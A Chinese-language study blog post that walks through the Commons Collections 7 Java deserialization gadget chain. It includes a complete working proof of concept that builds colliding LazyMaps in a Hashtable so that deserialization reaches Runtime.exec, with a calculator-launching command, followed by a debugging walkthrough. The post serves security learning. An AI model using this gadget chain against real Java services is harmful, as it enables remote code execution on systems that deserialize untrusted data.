1. 程式人生 > 其它 >CommonsCollection7反序列化鏈學習

CommonsCollection7反序列化鏈學習

CommonsCollections7

1、前置知識

Hashtable

Hashtable實現了Map介面和Serializable介面,因此,Hashtable現在整合到了集合框架中。它和HashMap類很相似,但是它支援同步,像HashMap一樣,Hashtable在雜湊表中儲存鍵/值對。當使用一個雜湊表,要指定用作鍵的物件,以及要連結到該鍵的值。然後,該鍵經過雜湊處理,所得到的雜湊碼被用作儲存在該表中值的索引。

//預設沒有引數的構造方,新建為11容量的Hashtable
public Hashtable() {
  this(11, 0.75f);
}
//也可以指定容量
public Hashtable(int initialCapacity) {
  this(initialCapacity, 0.75f);
}
//將指定 key 對映到此雜湊表中的指定 value。
public void put(Object key, Object value)
 //
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)

2、POC利用

2.1、利用鏈

/*
    Payload method chain:
    java.util.Hashtable.readObject
    java.util.Hashtable.reconstitutionPut
    org.apache.commons.collections.map.AbstractMapDecorator.equals
    java.util.AbstractMap.equals
    org.apache.commons.collections.map.LazyMap.get
    org.apache.commons.collections.functors.ChainedTransformer.transform
    org.apache.commons.collections.functors.InvokerTransformer.transform
    java.lang.reflect.Method.invoke
    sun.reflect.DelegatingMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke
    sun.reflect.NativeMethodAccessorImpl.invoke0
    java.lang.Runtime.exec
*/

2.2、POC

2.2.1、漏洞復現

package com.akkacloud;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CommonsCollection7 {
    public static void main(String[] args) throws Exception {
        // Reusing transformer chain and LazyMap gadgets from previous payloads

        final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});

        final Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",
                        new Class[]{String.class, Class[].class},
                        new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class, Object[].class},
                        new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},
                        new Object[]{"open /System/Applications/Calculator.app"})
               };

        Map innerMap1 = new HashMap();
        Map innerMap2 = new HashMap();


        //使用衝突雜湊建立兩個Lazymap,以便在readObject期間強制成功進入for迴圈呼叫reconstitutionPut
        Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
        lazyMap2.put("zZ", 1);

        // Use the colliding Maps as keys in Hashtable
        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 2);

        Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
        iTransformers.setAccessible(true);
        iTransformers.set(transformerChain,transformers);


        // Needed to ensure hash collision after previous manipulations
        lazyMap2.remove("yy");


//        serialize(hashtable);
        unserialize();
    }
    public static void serialize(Object obj ) throws Exception{
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
        objectOutputStream.writeObject(obj);
    }
    public static void unserialize() throws Exception{
        ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
        objectInputStream.readObject();
    }
}

2.2.2、POC分析

由於跟cc6很相似,不再重複說明,直接看兩者不同的地方.

主要是hashtable的add方法把Lazymap加入其中,但是為什麼要put兩次呢,就是存兩個lazyMap2到hashtable中呢?

Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();

//使用衝突雜湊建立兩個Lazymap,以便在readObject期間強制進行元素比較
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);

Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);

// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);

Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(transformerChain,transformers);


// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");

我們來看Hashtable的readObject方法。發現迴圈呼叫呼叫reconstitutionPut方法,elements就是我們傳入Hashtable的元素個數,

先看傳入的第一個元素既lazymap1,reconstitutionPut方法的引數table就是一個長度為5的空Entry<>[],key是Lazymap1,value為1,就是我們第一個put進去的元素。跟進reconstitutionPut

我們的漏洞點在for迴圈裡面,但是第一次我們的tab為空,根本進不去,但是在後面會用我們傳入的key和value新建立一個Entry<>,並且賦值給tab[index],這就是我們為什麼要put兩個lazymap到Hashtable裡,用於進入reconstitutionPut的for迴圈去觸發我們的漏洞點equal方法。

至於最後的lazyMap2.remove("yy"),就是因為我們我們真正在LazyMap中要確保沒有鍵值對關係,才能呼叫transform方法,跟cc6的一樣的理由,不懂可以仔細看看cc6

2.2.3、POC除錯

在Hashtable的readObject方法處打斷點,第一遍進入reconstitutionPut

第一遍進入的主要目的是為了給tab賦值,以便第二次可以進入迴圈的equal方法

第二遍成功進入for迴圈,此時的key就是我們設定空的lazymap

跟進AbstractMapDecorator的equal方法,繼續進入equal方法

AbstractMap的equal方法,獲取我們傳入的lazymap的key和value,key為lazymap,value就是1,我們一開始構造的空lazymap,進入get方法,m就是我們傳入的lazymap,所以是進入到lazymap的get方法,繼續跟進

進入lazymap後,就會反射把lazymap中ChainedTransformer修改為我們的惡意類。此處就是為什麼要去除yy鍵值對的關係(lazyMap2.remove("yy");),去除後才能進入if裡面執行transform方法。

繼續跟進ChainedTransformer的transform方法,迴圈結束就會RCE

2.3、思維導圖